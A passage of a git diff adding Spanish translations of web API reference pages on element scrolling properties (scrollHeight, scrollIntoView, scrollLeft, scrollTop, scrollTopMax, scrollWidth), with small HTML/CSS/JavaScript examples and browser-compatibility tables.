+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<div id="offsetContainer" style="margin: 40px 50px 50px; background-color: rgb(255, 255, 204); border: 4px dashed black; color: black; position: relative; display: inline-block;">
+<div id="idDiv" style="margin: 24px 29px; border: 24px black solid; padding: 0px 28px; width: 199px; height: 102px; overflow: auto; background-color: white; font-size: 13px!important; font-family: Arial, sans-serif;">
+<p id="PaddingTopLabel" style="text-align: center; font-style: italic; font-weight: bold; font-size: 13px!important; font-family: Arial, sans-serif; margin: 0px;">padding-top</p>
+
+<p>Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat.</p>
+
+<p>Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum.</p>
+
+<p id="PaddingBottomLabel" style="text-align: center; font-style: italic; font-weight: bold; font-size: 13px!important; font-family: Arial, sans-serif; margin: 0px;">padding-bottom</p>
+</div>
+<strong>Left</strong> <strong>Top</strong> <strong style="color: blue; font-family: arial,sans-serif; font-size: 13px!important; font-weight: bold; left: 370px; position: absolute; top: 85px;">Right</strong> <strong style="color: blue; font-family: arial,sans-serif; font-size: 13px!important; font-weight: bold; left: 164px; position: absolute; top: 203px;">Bottom</strong> <em>margin-top</em> <em>margin-bottom</em> <em>border-top</em> <em>border-bottom</em></div>
+
+<p><img alt="Image:scrollHeight.png" class="internal" src="/@api/deki/files/840/=ScrollHeight.png"></p>
+
+<h2 id="Problemas_y_Soluciones">Problemas y Soluciones</h2>
+
+<h3 id="Determina_si_un_elemento_ha_sido_totalmente_desplazado"><span id="result_box" lang="es"><span>Determina</span> <span>si un elemento</span> <span>ha sido totalmente</span> <span>desplazado</span></span></h3>
+
+<p>La siguiente equivalencia devuelve <code>true</code> si un elemento está al final de su desplazamiento, <code>false</code> si no es así.</p>
+
+<pre class="syntaxbox notranslate">element.scrollHeight - element.scrollTop === element.clientHeight</pre>
+
+<h2 id="scrollHeight_Demo">scrollHeight Demo</h2>
+
+<p>As<code>ociada al evento <a href="/en-US/docs/DOM/element.onscroll">onscroll</a></code> , esta equivalencia puede ser útil para determinar si un usuario ha leido un texto o no (ver también las propiedades de  <code><a href="/en-US/docs/DOM/element.scrollTop">element.scrollTop</a></code> y  <code><a href="/en-US/docs/DOM/element.clientHeight">element.clientHeight</a></code> ). Por ejemplo:</p>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html notranslate">&lt;form name="registration"&gt;
+  &lt;p&gt;
+    &lt;textarea id="rules"&gt;Lorem ipsum dolor sit amet, consectetur adipiscing elit. Vestibulum at laoreet magna.
+Aliquam erat volutpat. Praesent molestie, dolor ut eleifend aliquam, mi ligula ultrices sapien, quis cursus
+neque dui nec risus. Duis tincidunt lobortis purus eu aliquet. Quisque in dignissim magna. Aenean ac lorem at
+velit ultrices consequat. Nulla luctus nisi ut libero cursus ultrices. Pellentesque nec dignissim enim. Phasellus
+ut quam lacus, sed ultricies diam. Vestibulum convallis rutrum dolor, sit amet egestas velit scelerisque id.
+Proin non dignissim nisl. Sed mi odio, ullamcorper eget mattis id, malesuada vitae libero. Integer dolor lorem,
+mattis sed dapibus a, faucibus id metus. Duis iaculis dictum pulvinar. In nisi nibh, dapibus ac blandit at, porta
+at arcu. Pellentesque habitant morbi tristique senectus et netus et malesuada fames ac turpis egestas. Praesent
+dictum ipsum aliquet erat eleifend sit amet sollicitudin felis tempus. Aliquam congue cursus venenatis. Maecenas
+luctus pellentesque placerat. Mauris nisl odio, condimentum sed fringilla a, consectetur id ligula. Praesent sem
+sem, aliquet non faucibus vitae, iaculis nec elit. Nullam volutpat, lectus et blandit bibendum, nulla lorem congue
+turpis, ac pretium tortor sem ut nibh. Donec vel mi in ligula hendrerit sagittis. Donec faucibus viverra fermentum.
+Fusce in arcu arcu. Nullam at dignissim massa. Cras nibh est, pretium sit amet faucibus eget, sollicitudin in
+ligula. Vivamus vitae urna mauris, eget euismod nunc. Aenean semper gravida enim non feugiat. In hac habitasse
+platea dictumst. Cras eleifend nisl volutpat ante condimentum convallis. Donec varius dolor malesuada erat
+consequat congue. Donec eu lacus ut sapien venenatis tincidunt. Quisque sit amet tellus et enim bibendum varius et
+a orci. Donec aliquet volutpat scelerisque. Proin et tortor dolor. Ut aliquet, dolor a mattis sodales, odio diam
+pulvinar sem, egestas pretium magna eros vitae felis. Nam vitae magna lectus, et ornare elit. Morbi feugiat, ipsum
+ac mattis congue, quam neque mollis tortor, nec mollis nisl dolor a tortor. Maecenas varius est sit amet elit
+interdum quis placerat metus posuere. Duis malesuada justo a diam vestibulum vel aliquam nisi ornare. Integer
+laoreet nisi a odio ornare non congue turpis eleifend. Cum sociis natoque penatibus et magnis dis parturient montes,
+nascetur ridiculus mus. Cras vulputate libero sed arcu iaculis nec lobortis orci fermentum.
+    &lt;/textarea&gt;
+  &lt;/p&gt;
+  &lt;p&gt;
+    &lt;input type="checkbox" id="agree" name="accept" /&gt;
+    &lt;label for="agree"&gt;I agree&lt;/label&gt;
+    &lt;input type="submit" id="nextstep" value="Next" /&gt;
+  &lt;/p&gt;
+&lt;/form&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css notranslate">#notice {
+  display: inline-block;
+  margin-bottom: 12px;
+  border-radius: 5px;
+  width: 600px;
+  padding: 5px;
+  border: 2px #7FDF55 solid;
+}
+
+#rules {
+  width: 600px;
+  height: 130px;
+  padding: 5px;
+  border: #2A9F00 solid 2px;
+  border-radius: 5px;
+}</pre>
+
+<h3 id="JavaScript">JavaScript</h3>
+
+<pre class="brush: js notranslate">function checkReading () {
+  if (checkReading.read) {
+    return;
+  }
+  checkReading.read = this.scrollHeight - this.scrollTop === this.clientHeight;
+  document.registration.accept.disabled = document.getElementById("nextstep").disabled = !checkReading.read;
+  checkReading.noticeBox.innerHTML = checkReading.read ? "Thank you." : "Please, scroll and read the following text.";
+}
+
+onload = function () {
+  var oToBeRead = document.getElementById("rules");
+  checkReading.noticeBox = document.createElement("span");
+  document.registration.accept.checked = false;
+  checkReading.noticeBox.id = "notice";
+  oToBeRead.parentNode.insertBefore(checkReading.noticeBox, oToBeRead);
+  oToBeRead.parentNode.insertBefore(document.createElement("br"), oToBeRead);
+  oToBeRead.onscroll = checkReading;
+  checkReading.call(oToBeRead);
+}</pre>
+
+<p>{{EmbedLiveSample('scrollHeight_Demo', '640', '400')}}</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>Especificación</th>
+   <th>Estado</th>
+   <th>Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("CSSOM View", "#dom-element-scrollheight", "Element.scrollHeight")}}</td>
+   <td>{{Spec2("CSSOM View")}}</td>
+   <td>Inicial definición</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_de_los_Navegadores">Compatibilidad de los Navegadores</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Función</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte Básico</td>
+   <td>4.0</td>
+   <td>3.0<sup>[1]</sup></td>
+   <td>8.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>4.0</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Función</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Soporte Básico</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] En versiones anteriores a Firefox 21, <span id="result_box" lang="es"><span>cuando el contenido</span> <span>de</span> <span>un elemento</span> <span>no genera una</span> <span>barra de desplazamiento vertical</span><span>,</span></span>su propiedad <code>scrollHeight</code> es igual a su propiedad <code>clientHeight</code> . Esto puede significar que el contenido es demasiado breve para necesitar una barra de desplazamiento vertical, o que el elemento tiene un estilo CSS con un valor  <code>overflow</code> <code>que desborda el contenido visible</code> (no desplazable).</p>
+
+<h2 id="Ver_También">Ver También</h2>
+
+<ul>
+ <li><a href="https://docs.microsoft.com/en-us/previous-versions//hh781509(v=vs.85)">MSDN: Measuring Element Dimension and Location with CSSOM in Windows Internet Explorer 9</a></li>
+ <li>{{domxref("Element.clientHeight")}}</li>
+ <li>{{domxref("HTMLElement.offsetHeight")}}</li>
+ <li><a href="/en-US/docs/Determining_the_dimensions_of_elements">Determinación de las dimensiones de los elementos</a></li>
+</ul>
diff --git a/files/es/web/api/element/scrollintoview/index.html b/files/es/web/api/element/scrollintoview/index.html
new file mode 100644
index 0000000000..7c0b23a429
--- /dev/null
+++ b/files/es/web/api/element/scrollintoview/index.html
@@ -0,0 +1,151 @@
+---
+title: Element.scrollIntoView()
+slug: Web/API/Element/scrollIntoView
+tags:
+  - Experimental
+  - Expérimental(2)
+  - metodo
+translation_of: Web/API/Element/scrollIntoView
+---
+<div>{{ APIRef("DOM")}}</div>
+
+<p>El método  <code><strong>scrollIntoView()</strong></code> de la interfaz  {{domxref("Element")}} desplaza el contenedor principal del elemento de forma que el elemento sobre el cual se invoca <code>scrollIntoView()</code> sea visible al usuario.</p>
+
+<h2 id="Syntax" name="Syntax">Sintaxis</h2>
+
+<pre class="syntaxbox notranslate">element.scrollIntoView(); // Equivalente a <code>element.scrollIntoView(true)
+</code>element.scrollIntoView(<em>alignToTop</em>); // Argumentos booleanos
+element.scrollIntoView(<em>scrollIntoViewOptions</em>); // Argumento objeto
+</pre>
+
+<h3 id="Parámetros">Parámetros</h3>
+
+<dl>
+ <dt><em><code>alignToTop</code></em></dt>
+ <dd>Es un valor {{jsxref("Boolean")}}:
+ <ul>
+  <li>Si es <code>true</code>, la parte superior del elemento se alineará con la parte superior del área visible del elemento desplazable antecesor.</li>
+  <li>Si es <code>false</code>, la parte inferior del elemento se alineará con la parte inferior del área visible del elemento desplazable antecesor.</li>
+ </ul>
+ </dd>
+ <dt><em><code>scrollIntoViewOptions</code></em> {{optional_inline}} {{experimental_inline}}</dt>
+ <dd>Un booleano o un objeto con las siguientes opciones:</dd>
+ <dt><code>behavior</code> {{optional_inline}}</dt>
+ <dd>Establece la transición de la animación.<br>
+ Puede ser <code>auto</code> o <code>smooth</code>. Por defecto es <code>auto</code>.</dd>
+ <dt><code>block</code> {{optional_inline}}</dt>
+ <dd>Establece el alineamiento vertical.<br>
+ Puede ser <code>start</code>, <code>center</code>, <code>end</code>, o <code>nearest</code>. Por defecto es <code>start</code>.</dd>
+ <dt><code>inline</code> {{optional_inline}}</dt>
+ <dd>Establece el alineamiento horizontal<br>
+ Puede ser <code>start</code>, <code>center</code>, <code>end</code>, o <code>nearest</code>. Por defecto es <code>nearest</code>.</dd>
+</dl>
+
+<h2 id="Example" name="Example">Ejemplo</h2>
+
+<pre class="brush: javascript notranslate">var element = document.getElementById("box");
+
+element.scrollIntoView();
+element.scrollIntoView(false);
+element.scrollIntoView({block: "end"});
+element.scrollIntoView({block: "end", behavior: "smooth"});
+</pre>
+
+<h2 id="Notas">Notas</h2>
+
+<p>Puede que el desplazamiento no sea llevado completamente a la parte superior o inferior dependiente de la disposición de otros elementos. </p>
+
+<h2 id="Specification" name="Specification">Especificación</h2>
+
+<table>
+ <thead>
+  <tr>
+   <th>Especificación</th>
+   <th>Estado</th>
+   <th>Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSSOM View", "#dom-element-scrollintoview", "Element.scrollIntoView()")}}</td>
+   <td>{{Spec2("CSSOM View")}}</td>
+   <td>Definición inicial</td>
+  </tr>
+ </tbody>
+</table>
+
+<ul>
+ <li><a class="external" href="http://dev.w3.org/csswg/cssom-view/#dom-element-scrollintoview" title="http://dev.w3.org/csswg/cssom-view/#dom-element-scrollintoview">CSSOM: Scrolling elements into view</a></li>
+</ul>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Compatibilidad con navegadores</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Implementación básica</td>
+   <td>1.0</td>
+   <td>{{ CompatGeckoDesktop(1.0) }}</td>
+   <td>6</td>
+   <td>10.0 and possibly older versions</td>
+   <td>4 and possibly older versions</td>
+  </tr>
+  <tr>
+   <td>
+    <p>Implementan<br>
+     <code>scrollIntoViewOptions</code></p>
+   </td>
+   <td>{{CompatNo}}</td>
+   <td>{{ CompatGeckoDesktop(36) }}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Implementación básica</td>
+   <td>?</td>
+   <td>{{ CompatGeckoMobile(1.0) }}</td>
+   <td>?</td>
+   <td>?</td>
+   <td>?</td>
+  </tr>
+  <tr>
+   <td>
+    <p>Implementan<br>
+     <code>scrollIntoViewOptions</code></p>
+   </td>
+   <td>{{CompatNo}}</td>
+   <td>{{ CompatGeckoMobile(36) }}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
diff --git a/files/es/web/api/element/scrollleft/index.html b/files/es/web/api/element/scrollleft/index.html
new file mode 100644
index 0000000000..df527ccdc5
--- /dev/null
+++ b/files/es/web/api/element/scrollleft/index.html
@@ -0,0 +1,153 @@
+---
+title: Element.scrollLeft
+slug: Web/API/Element/scrollLeft
+tags:
+  - API
+  - Necesita Tabla de Compatibilidad
+  - Necesita Trabajo de Markup
+  - Necesita tabla de Especificaciones
+  - Propiedad
+  - Referencia
+  - Vista CSSOM
+translation_of: Web/API/Element/scrollLeft
+---
+<p>{{ APIRef("DOM") }}</p>
+
+<p>La propiedad <strong><code>Element.scrollLeft</code></strong><span id="result_box" lang="es"><span> obtiene o establece el número de píxeles que desplaza el contenido de un elemento hacia la izquierda.</span></span></p>
+
+<p><span id="result_box" lang="es"><span>Tenga en cuenta que si el elemento <code>{{cssxref ( "dirección")}} </code>del elemento es <code>rtl </code>(</span></span>derecha-a-izquierda<span lang="es"><span>), entonces<code> scrollLeft</code> es 0 cuando la barra de desplazamiento está en su posición más a la derecha (al inicio del contenido desplazado) y cada vez más</span> <span>Negativo mientras se desplaza hacia el final del contenido.</span></span></p>
+
+<h2 id="Syntax_and_values" name="Syntax_and_values">Síntasix</h2>
+
+<pre class="eval">// <span class="short_text" id="result_box" lang="es"><span>Obtener el número de píxeles desplazados</span></span>
+var <var>sLeft</var> = <var>element</var>.scrollLeft;
+</pre>
+
+<p><span id="result_box" lang="es"><span><em>SLeft</em> es un número entero que representa el número de píxeles que el elemento ha desplazado hacia la izquierda.</span></span></p>
+
+<pre class="eval">// <span class="short_text" id="result_box" lang="es"><span>Establecer el número de píxeles desplazados</span></span>
+<var>element</var>.scrollLeft = 10;
+</pre>
+
+<p><span id="result_box" lang="es"><span><code>ScrollLeft</code> se puede establecer en cualquier valor entero, sin embargo:</span></span></p>
+
+<ul>
+ <li>
+  <div id="gt-text-top">
+  <div class="g-unit" id="gt-src-c">
+  <div id="gt-src-p">
+  <div id="gt-src-wrap">
+  <div dir="ltr" style="zoom: 1;"><span id="result_box" lang="es"><span>Si el elemento no se puede desplazar (por ejemplo, no tiene desbordamiento), <code>scrollLeft </code>se establece en 0.</span></span></div>
+  </div>
+  </div>
+  </div>
+  </div>
+ </li>
+ <li> <span id="result_box" lang="es"><span>Si se establece en un valor menor que 0 (mayor que 0 para elementos de derecha a izquierda), <code>scrollLeft</code> se establece en 0.</span></span></li>
+ <li><span id="result_box" lang="es"><span>Si se establece en un valor mayor que el máximo que se puede desplazar el contenido,<code> scrollLeft </code>se establece en el valor máximo.</span></span></li>
+</ul>
+
+<h2 id="Example" name="Example">Ejemplo</h2>
+
+<pre class="brush: html">&lt;!DOCTYPE html&gt;
+&lt;html&gt;
+&lt;head&gt;
+    &lt;meta charset="utf-8"&gt;
+    &lt;style&gt;
+        #container {
+            border: 1px solid #ccc; height: 100px; overflow: scroll; width: 100px;
+        }
+        #content {
+            background-color: #ccc; width: 250px;
+        }
+    &lt;/style&gt;
+    &lt;script&gt;
+        document.addEventListener('DOMContentLoaded', function () {
+            var button = document.getElementById('slide');
+            button.onclick = function () {
+                document.getElementById('container').scrollLeft += 20;
+            };
+        }, false);
+    &lt;/script&gt;
+&lt;/head&gt;
+&lt;body&gt;
+    &lt;div id="container"&gt;
+        &lt;div id="content"&gt;Lorem ipsum dolor sit amet.&lt;/div&gt;
+    &lt;/div&gt;
+    &lt;button id="slide" type="button"&gt;Slide&lt;/button&gt;
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSSOM View', '#dom-element-scrollleft', 'scrollLeft')}}</td>
+   <td>{{Spec2("CSSOM View")}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_en_los_navegadores">Compatibilidad en los navegadores</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Función</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Soporte Básico</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Función</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Soporte Básico</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
diff --git a/files/es/web/api/element/scrolltop/index.html b/files/es/web/api/element/scrolltop/index.html
new file mode 100644
index 0000000000..5b4fb19139
--- /dev/null
+++ b/files/es/web/api/element/scrolltop/index.html
@@ -0,0 +1,69 @@
+---
+title: Element.scrollTop
+slug: Web/API/Element/scrollTop
+translation_of: Web/API/Element/scrollTop
+---
+<p>{{ APIRef("DOM") }}</p>
+
+<p>La propiedad <code><strong>Element.scrollTop</strong></code> obtiene o establece el número de pixels que el contenido de un elemento ha sido desplazado (enrollado) hacia arriba. El <code>scrollTop</code> de un elemento es una medida de la distancia desde el límite superior de un elemento al límite superior de su contenido visible. Cuando un elemento no genera una barra de scroll vertical, el valor de su <code>scrollTop</code> es establecido por defecto a <code>0</code>.</p>
+
+<h2 id="Syntax_and_values" name="Syntax_and_values">Sintaxis</h2>
+
+<pre class="brush: js">// Obtiene el número de pixels desplazados
+var <var> intElemScrollTop</var> = someElement.scrollTop;
+</pre>
+
+<p><var>Después de ejecutar este código, </var><code><var>intElemScrollTop</var></code> es un entero que corresponde al número de pixesl que el contenido del {{domxref("element")}} ha sido desplazado hacia arriba.</p>
+
+<pre class="brush: js">// Establece el número de pixels desplazados
+<var>element</var>.scrollTop = <var>intValue</var>;
+</pre>
+
+<p><code>scrollTop</code> puede ser establecido a cualquier valor entero, con ciertas salvedades:</p>
+
+<ul>
+ <li>Si el elemento no puede ser desplazado (p.e. no tiene desbordamiento (overflow) o si el elemento no es desplazable (<strong>non-scrollable</strong>), <code>scrollTop</code> es establecido a <code>0</code>.</li>
+ <li>Si se asigna un valor menor que <code>0</code>, <code>scrollTop</code> es establecido a <code>0</code>.</li>
+ <li>Si se asigna un valor mayor que el máximo al que el contenido puede ser desplazado, <code>scrollTop</code> es establecido al valor máximo.</li>
+</ul>
+
+<h2 id="Example" name="Example">Ejemplo</h2>
+
+<div id="offsetContainer" style="margin: 40px 50px 50px; background-color: rgb(255, 255, 204); border: 4px dashed black; color: black; position: relative; display: inline-block;">
+<div id="idDiv" style="margin: 24px 29px; border: 24px black solid; padding: 0px 28px; width: 199px; height: 102px; overflow: auto; background-color: white; font-size: 13px!important; font-family: Arial, sans-serif;">
+<p id="PaddingTopLabel" style="text-align: center; font-style: italic; font-weight: bold; font-size: 13px!important; font-family: Arial, sans-serif; margin: 0px;">padding-top</p>
+
+<p>Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat.</p>
+
+<p>Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum.</p>
+
+<p id="PaddingBottomLabel" style="text-align: center; font-style: italic; font-weight: bold; font-size: 13px!important; font-family: Arial, sans-serif; margin: 0px;">padding-bottom</p>
+</div>
+<strong style="color: blue; font-family: arial,sans-serif; font-size: 13px!important; font-weight: bold; left: -32px; position: absolute; top: 85px;">Left</strong> <strong style="color: blue; font-family: arial,sans-serif; font-size: 13px!important; font-weight: bold; left: 170px; position: absolute; top: -24px;">Top</strong> <strong style="color: blue; font-family: arial,sans-serif; font-size: 13px!important; font-weight: bold; left: 370px; position: absolute; top: 85px;">Right</strong> <strong style="color: blue; font-family: arial,sans-serif; font-size: 13px!important; font-weight: bold; left: 164px; position: absolute; top: 203px;">Bottom</strong> <em>margin-top</em> <em>margin-bottom</em> <em>border-top</em> <em>border-bottom</em></div>
+
+<p><img alt="Image:scrollTop.png" class="internal" src="/@api/deki/files/842/=ScrollTop.png"></p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Observaciones</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSSOM View', '#dom-element-scrolltop', 'scrollTop')}}</td>
+   <td>{{Spec2("CSSOM View")}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Referencias">Referencias</h2>
+
+<ul>
+ <li><a class="external" href="http://dev.w3.org/csswg/cssom-view/#dom-element-scrolltop" title="http://dev.w3.org/csswg/cssom-view/#dom-element-scrolltop">Borrador del Módulo Vista del W3C</a></li>
+ <li><a class="external" href="http://msdn.microsoft.com/en-us/library/ms534618(VS.85).aspx" title="http://msdn.microsoft.com/en-us/library/ms534618(VS.85).aspx">definición de scrollTop en MSDN</a></li>
+ <li><a href="http://msdn.microsoft.com/en-us/library/hh781509(v=vs.85).aspx" title="http://msdn.microsoft.com/en-us/library/hh781509(v=vs.85).aspx">Medidas de Dimensión y Ubicación de Elementos en MSDN</a></li>
+</ul>
diff --git a/files/es/web/api/element/scrolltopmax/index.html b/files/es/web/api/element/scrolltopmax/index.html
new file mode 100644
index 0000000000..9e5fc20255
--- /dev/null
+++ b/files/es/web/api/element/scrolltopmax/index.html
@@ -0,0 +1,80 @@
+---
+title: Element.scrollTopMax
+slug: Web/API/Element/scrollTopMax
+tags:
+  - API
+  - CSSOM View
+  - Elemento
+  - Propiedad
+  - Read-only
+  - Referencia
+  - Solo lectura
+translation_of: Web/API/Element/scrollTopMax
+---
+<p>{{APIRef("DOM")}}{{Non-standard_header}}</p>
+
+<p>La propiedad de solo lectura(read-only)  <code><strong>Element.scrollTopMax</strong></code> retorna un {{jsxref("Number")}} que representa el máximo offset posible para el elemento.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre>var <em>pxl</em> = <em>elt</em>.scrollTopMax;</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<p><em>Esta propiedad no es parte de ninguna especificación.</em></p>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Compatibilidad de Navegadores</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatGeckoDesktop(16) }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatGeckoMobile(16) }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Ver_además">Ver además</h2>
+
+<ul>
+ <li>{{domxref("Element.scrollLeftMax")}} dada la misma información para otros ejes.</li>
+</ul>
diff --git a/files/es/web/api/element/scrollwidth/index.html b/files/es/web/api/element/scrollwidth/index.html
new file mode 100644
index 0000000000..aaeb7486a8
--- /dev/null
+++ b/files/es/web/api/element/scrollwidth/index.html
@@ -0,0 +1,119 @@
+---
+title: Element.scrollWidth
+slug: Web/API/Element/scrollWidth
+translation_of: Web/API/Element/scrollWidth
+---
+<div>{{ APIRef("DOM") }}</div>
+
+<p>La propiedad de sólo lectura <strong><code>Element.scrollWidth</code></strong> retorna bien la anchura en pixels del contenido de un elemento o bien la anchura del elemento en si, la que sea mayor de ambas. Si el elemento es más ancho que su área contenedora (por ejemplo, si existen barras de desplazamiento para desplazarse a través del contenido),  <code>scrollWidth</code> es mayor que  <code>clientWidth</code>.</p>
+
+<div class="note">
+<p>El valor de esta propiedad será red redondedo a un entero. Si necesita un valor fraccional, use {{ domxref("element.getBoundingClientRect()") }}.</p>
+</div>
+
+<h2 id="Syntax_and_values" name="Syntax_and_values">Sintaxis</h2>
+
+<pre class="syntaxbox">var <var>xScrollWidth</var> = <var>element</var>.scrollWidth;</pre>
+
+<p><var>xScrollWidth</var> es el ancho del contenido de <var>element</var> en pixels.</p>
+
+<h2 id="Example" name="Example">Ejemplo</h2>
+
+<pre class="brush:html">&lt;!DOCTYPE html&gt;
+&lt;html&gt;
+&lt;head&gt;
+    &lt;title&gt;Ejemplo&lt;/title&gt;
+    &lt;style&gt;
+        div {
+            overflow: hidden;
+            white-space: nowrap;
+            text-overflow: ellipsis;
+        }
+
+        #aDiv {
+            width: 100px;
+        }
+
+        button {
+            margin-bottom: 2em;
+        }
+    &lt;/style&gt;
+&lt;/head&gt;
+
+&lt;body&gt;
+    &lt;div id="aDiv"&gt;
+        FooBar-FooBar-FooBar-FooBar
+    &lt;/div&gt;
+    &lt;button id="aButton"&gt;
+        Check for overflow
+    &lt;/button&gt;
+
+    &lt;div id="anotherDiv"&gt;
+        FooBar-FooBar-FooBar-FooBar
+    &lt;/div&gt;
+    &lt;button id="anotherButton"&gt;
+        Check for overflow
+    &lt;/button&gt;
+&lt;/body&gt;
+&lt;script&gt;
+    var buttonOne = document.getElementById('aButton'),
+    buttonTwo = document.getElementById('anotherButton'),
+    divOne = document.getElementById('aDiv'),
+    divTwo = document.getElementById('anotherDiv');
+
+    //comprueba si un desbordamiento está ocurriendo
+    function isOverflowing(element) {
+        return (element.scrollWidth &gt; element.offsetWidth);
+    }
+
+    function alertOverflow(element) {
+        if (isOverflowing(element)) {
+            alert('El contenido desborda el contenedor.');
+        } else {
